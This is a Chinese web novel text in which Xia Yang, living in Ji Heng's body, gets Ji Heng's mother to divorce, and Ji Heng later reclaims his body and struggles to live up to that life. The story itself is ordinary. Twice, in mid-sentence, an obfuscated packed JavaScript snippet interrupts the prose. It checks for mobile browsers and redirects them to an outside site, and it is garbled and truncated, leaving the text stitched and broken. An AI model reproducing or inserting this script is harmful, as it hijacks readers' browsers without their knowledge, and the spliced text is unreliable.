“听君一席话,马上开始焦虑了。”朋友跟上,“但真的假的,你以前又不是没这么担心过,怎么这下突然就崛起了?真不是背着我找了别的游戏搭子?” “我已经有段时间没玩游戏了。”夏杨没提自己换了号码的事,也没打算把这位身体的旧友加回来。 这是季恒的朋友。 他现在是季恒,但不完全是。 鲁向萍抚养季恒长大,他既然用了季恒的身体,就必须作为儿子还上这份恩情。 而且他自己也渴望感受正常人家的父母亲情,所以他乐于当一个孝顺好儿子,以“交换”鲁向萍的疼爱。 除此之外,不论是季恒那神龙见首不见尾的亲生父亲,还是关系更远一层的亲戚,全都不是必要的。 朋友则更远了一层。 因为这不是他的朋友,他没有相处过,对他来说是陌生人,而且能跟季恒聊得来的朋友,能不能对上他的价值观也是一回事。 所以,一刀切比较好。 让这些社交关系只停留在季恒那里。 朋友停下了脚步,“我跟人约了去小吃街吃,就不跟你吃食堂了,走了啊。” 夏杨礼貌回道:“好。再见。” 朋友离开后,夏杨在食堂安静地吃完了口味偏重的菜。 以前没尝试过的他现在都喜欢试试,不管是运动还是不让吃的菜和垃圾食品,但都是在适量的前提下。 身体健康还是很重要的。 主要课程已经补得差不多了,他也没补那么细,别像个没学过的零基础大概过得去就行,剩下的可以在课堂上慢慢查漏补缺。 相对的,原本自由的时间被上课占用不少,倒是更加紧凑了。 写文章的账号起来的比较慢,不过也已经开始上传收费文章了,收益还不错,读者反馈也没什么负面的。 做视频那个账号倒是更顺利些,因为原剧的热度还没下去,依旧霸榜,他累积下来的剪辑视频反倒是成了不少粉丝的粮仓,也拉了不少路人入坑。 播放量本身能有一部分收益,还有一些可以参加的网站创作活动一类的。 借着逐渐扩大的名气和不算高昂的价格,单子和广告也增加了些,至于那些名义上说是合作实则打算白嫖他技术和账号人气的人,就不用管了。 夏杨对这一行其实并不算熟悉。 道理很简单,他以前不缺钱。 做这些事也只是给自己无聊乏味的生活找点事情做而已,写文章学画画也是基于这个想法。 不管外因还是内因,他情绪最好能保持平静。 所以,一边想要在网络上获得关注度——这也是人之常情吧,一边却又不能对热度带来的褒贬不一乃至于网络攻击产生剧烈的情绪起伏。 夏杨接触过的人不太多,他的世界很狭窄。 一开始不确定自己能不能做到对陌生人的批评和夸奖心如止水,他就不看具体的评论,只看账号后台统计出来的各项数据涨幅,以此判断自己的受欢迎程度。 等到觉得还不错、数据很稳定、应该是为他说话的人比较多的时候,才去看详细的评价。 才发现和自己想的挺不一样的。 有很多人夸他。有的边夸边指导,有的复制粘贴彩虹屁连名字都没改干净,有的夸的很诚恳能写出长长一篇评论。 有很少人骂他。骂他三观不正居然喜欢某某角色,骂他技术不过关却被粉丝吹技术帝,骂他高傲自大从来不回粉丝信息也不在评论区出没,还有的是人机自动触发关键词,骂都骂得毫不相干。 他一点点往下看,才能在这些夸他和无意义的评论之中找到那些抨击他的。 但不管是夸是骂,能对他造成的影响都很低。 他以为自己很期待他人的认可,事实却并非如此,尤其是发现隔着屏幕,隔着各自的认知,隔着不同的思想,自己所创作出来的东西往往会被主观理解成另一个模样之后。 夏杨不知道是不是自己情感天生有些淡漠,还是被这么多年一直保持的冷静造成了身体对情感本能的压抑,不过这是件好事,代表他要做的事对他的身体健康毫无妨碍。 于是他就一直这么做下来了。 也没考虑过利用这些账号和作品赚钱。 父母就算不亲近他,家里也从来不会在治疗和生活方面亏待了他。 更何况还有爷爷留给他的一部分遗产作为保障。 因此,在新世界面临需要赚钱的处境时,除了做自己熟悉的事,夏杨一时之间也没什么好的办法。 他没学过金融之类的课程,更没实践过,短时间内无中生有赚到大把钱的方法他没有,把稀少的本金翻几倍的方法也没有,就连快速打造一个商业性质的账号变现的能力也没有。 好在,他会的东西还没有和现在的网络时代脱节,甚至因为他那边比这边应该是要发达一些的,他积累下来的经验在这里发挥出了更好的效果。 夏杨并不满足于现在的笨方法,他想要将此发展成自己未来的主要职业。 因此,他还在不断学习相关的知识。 第一次考试的成绩还算理想,比身体原本的成绩好上不少,挤入了班级前十。 身体原本的主人在学习上不够用心,便营造出一种大学时期的成绩不重要的感觉,以方便不向不了解他一学期下来有多少次考试的鲁向萍汇报成绩。 夏杨却没有这种忧虑。 跟上课程之后,只是课堂教授的知识就已经够用了,并不需要占用他课外的时间。 后面起码能保持这个成绩,愿意多花些心思的话,也能够考得更好。 而让鲁向萍知道他的成绩,会因此感到欣慰和开心吧。 夏杨没怎么接触过鲁向萍这类的人,和那些网上视频里所吐槽的“全世界都有一个共同的母亲”也找不到共鸣,因为他的母亲从来没有对他说过那些矛盾的话,做过那些令孩子哑口无言的事。 可他很喜欢鲁向萍。 粗鲁,直白,甚至有点莽撞。 在“母爱”这个他渴望已久的词汇下,连控制欲和唠叨都变得可爱起来。 因为他并不抗拒这些事情,也不会完全接受或是否认,所以他能获得使他舒服的部分,用委婉或直接的方式拒绝掉让他不舒服的部分。 他想让自己实现上辈子一样的财务自由,只有这样,才能做到许多他以前想做又没能做的事情。 同时,他也想让鲁向萍享受轻松的生活。 孩子的成绩和成就可以让她骄傲,拿去炫耀,也可以让她不必独自背负起生活的重担,考虑一下生存之外的事项。 果不其然。 收到夏杨成绩单的鲁向萍很是开心,连连夸他进步了,在大学里也没有放松,还给他发了个红包。 夏杨收了,在鲁向萍生日的时候包了个更大的发回去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16399671|184334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说是自己在网上做的账号已经开始挣钱了,生活费也可以少给一些,让鲁向萍主要把自己照顾好,如果工作太累,就好好休息一阵,身体最重要。 在学校里,夏杨认识了一些同样上进自律的同学。 生活里大部分时间用来奔向目标忙碌时,哪怕聊得来,也更像是一条路上的同行人,而不是能交换秘密的亲友。 不够亲近,却恰好在夏杨的舒适区。 他并不打算社交上花费过多精力。 说句难听的,只要他把自己过得好,他就不会缺少朋友。 就像以前他住在医院里,哪怕他父母都不怎么来看他,医生护士仍然会悉心照顾他,甚至还有些想要和他父母拉关系的人到医院拜访他,只不过通常见不到他的面。 夏杨的热情是对自己不一样的人生的。 为人处事的圆滑是因为他有教养、有一定眼界,加上他不在乎,也不内向。 本质上,他是个冷感的人。 夏杨穿过来刚好一年时,又是过年。 鲁向萍今年准备的菜少了很多,没有再预备出完全撕破脸的季卓家那边亲戚的份。 据悉,她们今年基本上是断了联络的状态,也没谁换着电话打过来想让鲁向萍认错——从这一点上来看,大家都是普通人,有太多自己的事情要做,没有那么多纠缠不休的力气,特别是这事严格说起来和自己也没什么关系的时候。 失去鲁向萍,对季家来说失去了什么? 少了过年时的礼品和一个做菜好吃的厨师,孝敬过来但也没多大的红包,以前只是和家里不怎么亲近现在却是敢顶撞家里的孙子。 这很重要吗? 这不重要。 事情就这么稀里糊涂沉淀下去了。 夏杨不知道鲁向萍还有没有和季卓保持联络,但他并不希望鲁向萍在季家这个泥潭深陷下去,持续这段婚姻关系,给鲁向萍没带来任何好处。 过年前一天,早早的,天还没黑完,他们俩已经和其他人家一样,在这个点吃起了年夜饭。 吃完年夜饭后是给压岁钱红包。 他们没有守夜的习惯,鲁向萍也一向不赞成熬夜,夏杨现在就更不熬夜了,红包就要早早给了。 夏杨给鲁向萍封了一个红包。 里面是一张银行卡。 有六位数的余额。 写文,剪辑单子,账号广告和播放量以及各类活动得奖,还有他重拾基础学起来的画画,以上这些赚的钱。 在他自己预留了一部分的前提下。 他把这笔足以在这个不算繁华的城市买一套不错房子的钱当做压岁钱封给了鲁向萍,实现了他之前说的话,成为鲁向萍的底气。 “妈,你离婚吧。我不需要这个父亲,你也不需要这个丈夫。以后我会照顾好你的。” 鲁向萍的震撼难以言表。 次年,季卓回来了。 在鲁向萍跟他打电话定好离婚的前提下 这是夏杨第一次看见这位父亲。 他们眉宇间似乎有点相像,但生疏到还不如能随便打招呼问个路的陌生人。 他们离了婚,没什么财产可分割的——季卓早已做好了这个准备,把财产都转移到了他的另一个家那里,也是确认鲁向萍不会分他的存款才回来离婚的——各自保留了各自的财产,名下也没有房子。 季卓没在家这边买房,鲁向萍也没有,现在住的还是租的房子。 离完婚后,鲁向萍拿那笔钱买了套房子,完全没在乎离婚的事,一股劲全扑在未来属于自己和儿子的新家上,整个人看着别提多有劲了。 夏杨本来想给她报个旅游团调解一下心情,被鲁向萍拒绝了。 原因不是瞎浪费钱,是她现在得盯着装修,哪有空出门去旅游,等房子装好了搬完家再说。 生活平静地向前延续着。 谁也不知道,那个被覆盖掉的季恒,拥有了一次重回世界的机会。 12. 第十二章 季恒也不是没有进步的。 他已经能够屏蔽掉来自身体的感官,只留下自己这虚无的灵魂,对平凡的外界不闻不问,陷入长久的沉睡。 就当是自己已经死了,躺在了棺材里,作为一具偶尔会睁开眼睛却不会影响到任何人的尸体。 他曾经看过一部恐怖漫画,具体情节不太记得了,但设定依稀记得是有个病人会在睡梦中度过很长的时间,醒来后身体也随着睡梦中的时间流逝变得衰老。 季恒现在的情况和那个有点像。 再怎么死寂,认命,灵魂也在不甘心的确认着自我的存在,一次又一次做着漫长的梦。 以往早就被淹没在日常里的普通回忆,星星点点在梦中出现,美化,扭曲,乱七八糟的拼接在一处,变成一只脚踩在现实一只脚却踩在云端的怪诞梦境。 梦做得多了,做得长了,无法前进的现实也就被梦一步步模糊掉了。 他小时候好像是个很乖巧贴心的孩子。 母亲总是忙于工作,没多少时间照看他,他就会自己照顾自己,跟住得不远的邻居家孩子待在一起玩。 但不能待太久。 有时候,对方会被家长叫去写作业。 有时候,则是到了晚饭时间,他不该留在别人家里打扰别人的晚饭。 有时候,是小伙伴要去约其他的小伙伴一起玩。 要穿过马路,走上好一阵,才能到的地方。 他不能去,母亲回来看不到他又没有联系他的方式,会担心的。 乖巧是一件好事吗? 是的吧。 大人都说,还好你家孩子这么乖,省心多了。 是的,他能为母亲省下很多麻烦事。 只要他乖巧懂事,不乱跑,不玩得满身都是灰尘泥巴,不跟其他小朋友吵架打架闹得需要大人出来调解矛盾,母亲就不必为他担心,甚至可以偶尔把他带到工作的地方,让他帮上一点小忙。 他的童年是快乐的吗? 好像是的。 小孩子随便一个话题就能聊到一起,又随便打上一两个讨人厌的标签就能让大家都远离这个人。 他没有特别好的朋友,也没有打过架闹得不共戴天的仇人。 一切都很普通。 像水一样流过去了。 那留下的是什么呢? 是他不敢“惹事”。 是他“听话懂事”。 是他逐渐不再去小伙伴家里玩,因为他能看得懂大人表面带笑实则不欢迎他长久滞留的“眼色”。 是家里的贫穷忙碌和母亲光养他就很辛苦了不要让母亲为他任何事操心的“责任感”。 青春期的孩子像抽条的小树,嫩黄的树叶对空气有一种敏感度。 能接收到更多信息的他们,开始意识到小孩子时没那么明显的差距。 有的人家里是能够一口气邀请五六个同学回家玩的,有保姆做饭的,有比网吧的大屁股电脑还要薄上许多的电脑和电视机的,能带着直板手机玩自带游戏设置彩铃的。 有的人家里阴暗狭窄,父母还是学校附近摆小摊的,却能坦然邀请同学去光临小摊生意,放学后把书包放在摊子旁边就去帮忙收拾卫生当服务员的,看见同学大声打招呼的。 有的人家里说不上特别好,也说不上特别坏。可一旦比起来,家里不如前者,自己不如后者,邀请同学来家里玩似乎是一种公开处刑的羞耻凌迟的。从不够明亮的客厅到没铺瓷砖的地面,全都是拿不出手的。 季恒就是最后一种。 贫穷带来的不自信,是能刻进骨子里,让他即使已经超过许多生活不幸的人,仍然从灵魂上驼着背直不起来行走的。 他的眼睛盯在地上,盯在任何比不上其他人的地方,再以此反复证明自己的观点。 初中时,季恒有一段时间暗暗讨厌过母亲。 讨厌她来开家长会时骑着电动车穿得那么普通,却又那么显眼,连淹没在人群都做不到。 讨厌她买菜时讨价还价,嗓门那么亮,让他感到似乎吸引了周围人的注意力,为此无地自容。 讨厌她总爱用学习敦促他,明明自己没读多少书,却像是他考个好成绩就能成为富豪名人,将这么多虚无缥缈又沉重的期望寄托在他身上。 讨厌她为他付出这么多,让他连发个脾气都得忍着,因为他欠了她的。所有人都在说他欠了她的,欠得很多,所以他要乖巧听话,要孝顺,要以后千百倍的报答她。 这些敏感的心思逐渐被时间淹没,又在梦里被重新挖了出来,一次又一次反复强调。 每次梦醒,季恒都感到心中残留着对母亲复杂的憎恶感。 他以为他能理解母亲对他的抛弃,可是,他还是不甘心的。 是这个家,是母亲把他养成这个样子的,现在却又觉得另一个生在富裕之家被底气蕴养出来的灵魂比他好得多,哪有这样的道理? 如果他是夏杨,他也能待人处事镇静圆滑,他也能不内向敏感,他也能不为期望的压力感到困扰——因为底气让他不会畏惧期望。 有钱人家和普通人家养出来的孩子怎么可能一样? 资源信手可得环境的孩子和明白自己什么都缺乏的孩子怎么可能一样? 前者当然更受欢迎了,可他的底色就是后者,他又有什么办法? 他就活该被放弃吗? 季恒不想思考这些问题。 也不想看夏杨把生活经营的越来越好,交的朋友质量越来越高,支付软件里的余额数字多到他从来没见过这么多钱的地步。 他不喜欢那些不愉快的梦,但也许是令人难受的事物印象会更深刻,充斥着回忆的梦境总是不愉快的居多。 比起更不愉快的现实,他宁愿反复去做这些梦。 做到后面,他已经分不清梦里哪些情节是真实发生过的,哪些是他的记忆自己捏造的了。 他似乎在一次又一次重复自己短暂无趣的一生,并在这些重复中加深对母子关系的负面情绪。 不过,在习惯睡觉和做梦后,有段时间,他强迫自己保持了清醒。 ——为了看鲁向萍离婚。 如果不是拜年时弄成那个样子,不是鲁向萍坦白,季恒从来没意识到,他习以为常的家里掩藏着一个这么大的秘密。 他其实不太能想象到鲁向萍的心情。 在他心里,母亲一直是个利落又洒脱的人,还很热心,经常有朋友打电话找她倾诉。 这种性格的母亲,为什么会在父亲出轨后不离婚,反而这么不尴不尬的拖着,以至于把明明是受害者的自己摆在了过错方的低位,受着来自婆家的不公平待遇。 爱情? 他好像没在家庭里看到过这样东西。 当然,他也没见过年轻时的父亲和母亲。 所以他想不明白。 本来母亲清晰明了的身影,也因这个长久潜伏于家庭中的秘密蒙上了一层阴霾,变得模糊起来,让他有些不敢确认了。 不过在没什么印象的父亲和为他劳心劳力的母亲之间,他肯定是希望母亲能够幸福的。 如果可以的话,他当时就会劝母亲离婚,拖着又没好处,关系也闹得这么僵了,还不如干脆点一别两宽。 就算各自过日子,也和以往没什么区别。 但他出不了声,也不知道为什么夏杨没说。 直到现在才明白,夏杨确实比他稳妥多了。 他只能嘴巴上劝劝,实际上拿不出什么让母亲安心的事物,例如离婚之后也有着落不必担忧的家庭,前途大好的儿子,摆脱从小到大租房生活从此再也不必搬来搬去的一个家。 夏杨却可以做到。 一年变成百万富翁。 好厉害。 他这辈子大概都做不到吧。 如果说他毕业后去当一个普通的员工,月工资三千左右,除去吃喝拉撒,每个月努力攒一千五,不算任何意外费用,他得攒将近五十六年才能攒到一百万。 而人显然是不可能不出任何意外的。 生病、受伤、诈骗……有太多事能让他可怜的存款瞬间清空并背负上债务。 就算他真有这么好运,一个都没碰到,钱也会变得越来越不值钱,五十年前的一百块和五十年后的一百块购买力是截然不同的。 而且,一个没有任何特长与技能的普通人,又凭什么能够工作到五十年后? 说不定上个十多二十年的班,就会被辞退,下岗,存款只出不进,找不到新工作,恶性循环,人生到此为止了。 还有结婚生子。 虽然他现在没有这种考虑,可他妈一定是有这种期望的——这一辈的中老年人大多觉得经历过这个过程人生才是圆满的。 他这个收入能谈恋爱吗?能买房结婚吗?能生孩子吗? 全都不能。 他承担不起。 钱是最明显的差距。 挺好,换到他身体的是夏杨这么个有能力有底线的人,如果换成别人,指不定鲁向萍就得遭罪了。 离婚过程很平和。 夏杨全程陪着鲁向萍,有种撑腰的意味。 季卓并没有试图和夏杨搭话,跟鲁向萍对话也很简短,鲁向萍也没有戳着他的鼻尖骂他。 一切都显得那么平静,像是一对普通的夫妻普通的因为性格不合而选择离婚普通的分道扬镳。 季恒也算是亲眼看到鲁向萍幸福了。 他还不了的恩,夏杨替他还了。他做不到的孝顺,夏杨为他做了。他背负不起的期望,夏杨出色的完成了。他解决不了的事情,夏杨轻而易举解决了。 纵使他现在已开始有点怨恨鲁向萍,却仍然是希望她过得好的——这两件事并不矛盾。 反正现在要出力的也不是他。 但季恒没想到,事情已经这样了,他居然又有了回去的机会。 一种很玄妙的感觉,身体与他灵魂之间那层厚厚的墙壁似乎消失了,只要他愿意,随时可以将灵魂重新嵌入身体之中,再度支配这具身体。 季恒差点以为自己在做梦。 他趁夏杨睡着时,做贼般很小心地动了一下大拇指。 和以前那种夏杨行动时身体重叠给他、而他灵魂活动时身体并不会活动的感官不同,他切实的感觉到了那根大拇指在他的想法下抬起来,曲起,又往下抠了下床单。 如臂指使。 一如以前。 季恒精神恍惚,没什么实感,他又试验了一会,确认是真的,才在可能吵醒夏杨之前停止了。 要回去吗? 这个以前可能有丁点犹豫——他回去是不是就意味着杀死夏杨——的选择,现在已变得极为困难。 季恒不觉得自己回去还有什么意义。 他的朋友们已全部被夏杨疏远,夏杨新建立起来的社交圈是和他完全不是一个阶层的人士,找不到任何共同话题。 夏杨很努力的在生活,扭转了“季恒”的口碑,给予了鲁向萍美好的生活。 如果说人是一切社会关系的总和*,那他已经被夏杨上位替代掉了。 就像一颗表面生锈的螺丝钉,内里变成了更加优秀的材质,连带着锈迹也褪去。 螺丝钉依旧在原来的位置运行着,只是能做得更好。 那么还有让原本生锈的螺丝钉回来的必要吗? 季恒觉得没有了。 但是。 人是能够概括成螺丝钉的吗? 如果没有任何人期待他,他就不应该回去了吗? 可他本来就是季恒啊。 这本来应该是他的人生,他又为什么要和夏杨作对比? 如果他回去意味着夏杨将死去,那夏杨的到来不也是悄无声息的杀了他吗? 一个优秀的凶手就比一个平庸的凶手更值得留下? 季恒以为自己会纠结很久。 可希望的滋味太过美妙,足以让他压下那些愧疚心和未来也许会发生的种种不愉快事件。 仅仅在第三天,夏杨深夜熟睡时,季恒就彻底重新掌握了这具身体。 他精神太过亢奋,没能睡着,刷着手机却没在上面找到自己熟悉的软件,于是只是心不在焉的浏览着新闻。 寝室里熬夜看小说的室友半夜翻身过来看见他,吓了一跳,轻声问他:“是不是出什么事了?” 季恒有点心虚:“……没。” “不可能。”室友斩钉截铁,“你睡眠可好了,生活那么规律,我就没见过你熬到这么晚。能说吗?不能说的话……” 他冥思苦想了一会,“要不我们现在溜出去喝点?” 没见过吗? 季恒觉得有点好笑。 是夏杨留下的印象太强了吧,一个生活自律到这种程度的狠人,和一个常年看情况熬夜整天蔫不拉几的普通人,肯定是前者让人印象更深刻。 不然,同样是一年多时间,季恒和室友相处的时间还长点,经常半夜看见对方床上亮着手机的光,怎么就没见过了? 他许久不说话,一时间竟有些忘了该怎么组织语言,还好二十年的经验不至于一年就彻底消亡。 “宿舍大门早就关了吧。” “害,”室友声音高了点,“不用出去,我买了有啤酒,再带点辣条薯片,到天台去喝。” “你们半夜不睡觉声音能不能小点?”有室友被吵醒了,声音含糊,过了会突然坐起来,“卧槽,季恒?!” 剩下那个也被吵醒了。 三个一起像是季恒遇到什么惊天大事一样,语气里都带了点小心翼翼。 这是他认识的人。 也是夏杨认识的人。 但现在,他们只属于夏杨了,记忆里已经没有过去的季恒。 季恒心里说不上多舒服,随便敷衍了两句,带上钥匙离开了宿舍,去了天台。 学校寝室楼敢不锁天台门是有道理的。 一是天台很适合晾厚衣服和床单被套一类的,不然大家都往楼下灌木丛上晾,看着属实不太美观。 二是天台周围拿铁丝网围了,出不了什么事。 但对心情抑郁想要看看风景的人来说,这里就不是一个好去处了。 站在围墙边,被夜风吹拂着,入目却是隐约可见铁丝网高高边缘的天空,和被铁丝网包裹起来的校园操场,仿佛身处一个巨大的囚笼。 季恒在这里站了好一会。 他想了很多东西。 想夏杨现在在哪里,回到原本世界入土为安了还是像他之前那样以灵魂状态存在着旁观着。 想他之后要怎么办,人生被这么突兀打乱后似乎不能按原本那样生活了,但他摘了夏杨的果子,手上也有一笔不小的存款,家里房子也买了,他的未来似乎从地狱模式变成了普通模式。 想该怎么继续和他老妈相处,说严重点,老妈的默认相当于冷眼看着他去死,甚至不追究一下原因,只因为他没那么优秀。有了这个认知后,他似乎没办法再像以前那样看待她了。可他依然对她非常不忍心,他依旧那么乖巧懂事听话,当然,也依旧那么无能。 乱糟糟的思绪太多,搅得季恒额头都发疼。 他试着什么都不想,却做不到,于是掏出手机玩了起来。 寝室的wifi已隔得太远连接不上,好在夏杨办了个□□的卡,他可以用流量下载游戏,看那些搞笑的短视频,似乎心情也随着一个个刷过的视频变得好了起来,快乐被强行注入了他的身体,只需要跟着笑就好了。 他很久没打游戏,以前的账号留在旧手机上没有电话号码进行验证,用不了了,这个电话号码毫无疑问注册登录后是一个纯新人的账号。 过新手教程,开始玩。 季恒慢慢找回了熟悉的手感,找回了一点操作,在新手阶段利用自己的这点熟练度大杀四方。 他似乎感到了爽和快乐。 一如以往。 打完游戏,就是看小说。 以前追的连载现在已经完结不知道多少本了,然而连当初看到哪情节是什么都没印象了,看起来像在看一本有微妙既视感的新书,介于好看和隐约知道后续所以变得不好看之间,很容易让人失去耐心。 软件主推的小说变成了看不懂的网络梗,倒是也有几个熟悉的大神作者,新文都已经字数超过百万了。 点进去一本,看个开头,弃文。 重复。 重复。 重复。 明明银行卡里有了那么多钱,可以想看多少看多少,不用像以前那样还得选出最喜欢的才花钱追文,却似乎无法从这件事里得到快乐了。 身体在犯困。 季恒在和身体对抗,强行用玩手机让精神亢奋,以免让自己睡着。 这种无聊的抗争持续到将近凌晨五点,手机电量只剩百分之八,季恒回了宿舍,躺到干净 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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季恒对着剪辑软件发了会呆,关掉了它——他一窍不通。 夏杨可以用大半个寒假大致跟上他一年多的课程,多巧,他跟夏杨之间的时间差也是一年多点。 所以,他也可以用这段时间来跟上和夏杨的进度差。 ……他可以吗? 他不可以。 季恒开始从头学剪辑,学绘画,学写作。 艺术创作类的行业除了基础,还需要天赋。 一个富有的不为生活发愁的缺爱的心脏病人,作为在死亡边缘徘徊的人,或许是更容易拥有这些天赋的,也有着想学就能用充足学习条件也不必非要学出个成果来的轻松心态。 但季恒没有。 他要避开室友对着网课学习——这不难,夏杨并不喜欢被围观,在底下桌子围了帘子,工作时就会拉上——季恒也可以在这里面作为一个初学者拙劣的写写画画,在软件上进行操作。 可是,太无聊了。 毫无成就感。 这些课程对季恒来说,和专业课程的无聊程度不相上下。 还有夏杨的作品摆在那里,像一座必须要攀登上去高度却令人感到绝望的山。 那些没完成的稿子只能退掉,因为季恒无法交单。 季恒甚至有想过干脆赚个差价花钱请人来代做,但自尊心和廉耻心还是使他放弃了这个可以说是诈骗的选择。 账号停止了更新,涌出了很多鼓励和催更的评论。 开始有粉丝讨论他是不是出了什么事,他却连发个公告回应都做不到——他模仿夏杨的措辞是拙劣的,像正品和廉价劣质仿品之间的差距。 这种差距带来的诧异感他已体会过很多次,并不打算在数量庞大的粉丝网友这里再体验一下。 粉丝增长速度变慢。 账号上了消失的大神账号盘点视频,里面把夏杨崛起的过程和过人的天赋大夸特夸,但也说了如果再这么下去,对账号的负面影响很严重。 文章的号还有着持续收入,随着网站给的推荐数量时多时少,编辑有来催他发新文,随着迟迟没有更新,收入渐渐走低,像火堆燃尽后缓慢冷却的余温。 季恒很痛苦。 他已习惯了灵魂长久的睡眠,习惯整天里无所事事只做着怪诞的梦,习惯幻想“自己假如怎么样就会怎么样”。 光是维持夏杨的作息对他来说就已经精疲力尽了,更别说还要补上课业与这些技能之间的差距了。 上课上得他想死。 不管是课堂还是网课。 最绝望的是,在他坚持了这么久以后,他得来的不是足以接手夏杨“遗产”的进步,而是几乎原地踏步的结果。 成绩一落千丈,甚至连及格都变得可望而不可即。 停更已久的账号承载着大量等待他回归的期望,沉重无比。 而他的水平依旧拙劣到只要一发上自己的作品就绝对会被质疑卖号、能直接毁了这个账号的程度。 该发给母亲的成绩单不敢发,跟母亲说话不敢撒娇抱怨,学着夏杨的说法,却没能维持住那种亲密又生疏的距离,只留下尴尬和冷漠。 共同晨跑的“朋友”逐渐远离,似乎是在几次聊天之后,他应该没说什么冒犯人的话,难道优秀就是这么显眼的东西,一旦消失就会立马被发现? 室友说他变得有点奇怪暗示他要不要去看看心理医生,后面就不说了,他努力维持的生活习惯却没有人夸他,所有人对此习以为常,只看见他变差的部分。 老师一开始问他出了什么事,在几次考试不及格后通知他再这么下去不行,希望他拿出之前的状态来,但态度也在他的冷淡中逐渐从体贴变成不耐烦。 他搞砸了一切。 他的努力和坚持没有任何意义。 想要追赶上夏杨,一年是不够的,可能要给他十年,二十年,还得再给他相应的天赋。 但是。 夏杨已经把他的生活活成了成功的样子。 他做什么都是倒退。 他很努力了,他想维持住这份成功,让自己未来过得更好,让周围人眼里的季恒至少有维持令人羡慕敬佩的模样。 可他做不到。 放假时,揣着不及格需要补考的成绩,季恒忐忑的回了家。 他仿佛很久没看见鲁向萍了。 这个脸有点圆的中年女人,做了一个更适合她的发型,而不是俗气的卷发,也不是被生活褪了一半的染色。 有了房子,她像是放下了很多担子,整个人看着没那么沉重了。 也没有穿着一身工作时弄脏也没关系的旧衣服,而是一件版型裁剪都很气派的衣服,面料也很好,是那种路人一看就觉得价格不会低穿着也很显气质的衣服——夏杨给她买的。 她和季恒印象中有所不同,似乎没那么普通,没那么平凡到令人羞耻了。 季恒拿不准用哪种态度对待她。 像自己一样?像夏杨一样? 他的自己好像已经被丢掉了,但模仿夏杨又太拙劣。 现在像是邯郸学步的主人公,丢了自己会的,也没学会别人会的。 他还有点想哭,又为自己觉得恶心。 这依然是他妈,但已经不是那个能包容他的无能的人了。 因为鲁向萍有过了更优秀的儿子。 最后,他说:“妈。” 这是夏杨的叫法。 “我回来了。” 如果可以,他不想回来。 鲁向萍怔怔看了他一会,脸上露出个复杂的笑容。 “……季恒。” 这是叫季恒的叫法。她们之间没有那些黏黏糊糊的昵称,亲儿子也是连名带姓叫。也许是为了区分,她会把夏杨叫做小恒。 “欢迎回来。”她说。 回来后的第一顿饭很丰盛,全都是季恒爱吃的菜,还有那款椰子汁。 丰盛到像是在招待客人。 两个人吃得很安静。 鲁向萍不知道说什么,季恒也不知道该说什么。 鲁向萍试着问了些现状,样样都戳在季恒的伤口上。 季恒知道:他妈知道他回来了,但他妈希望他变成夏杨。 很简单,如果邻居家有个孩子寒窗苦读考上名牌大学毕业后找了个特别好的工作月收入很高成为了人生赢家,他妈当然希望他能复刻这个邻居家孩子的人生经历,走到同样的高度。 更别说夏杨曾经就是“自己家孩子”了。 他也是这么想的。 但他试过了,他真的做不到,却也没办法再回到以前那样的生活,接受所有人谴责和怜悯的目光。 他这一辈子,都得把自己努力活成夏杨。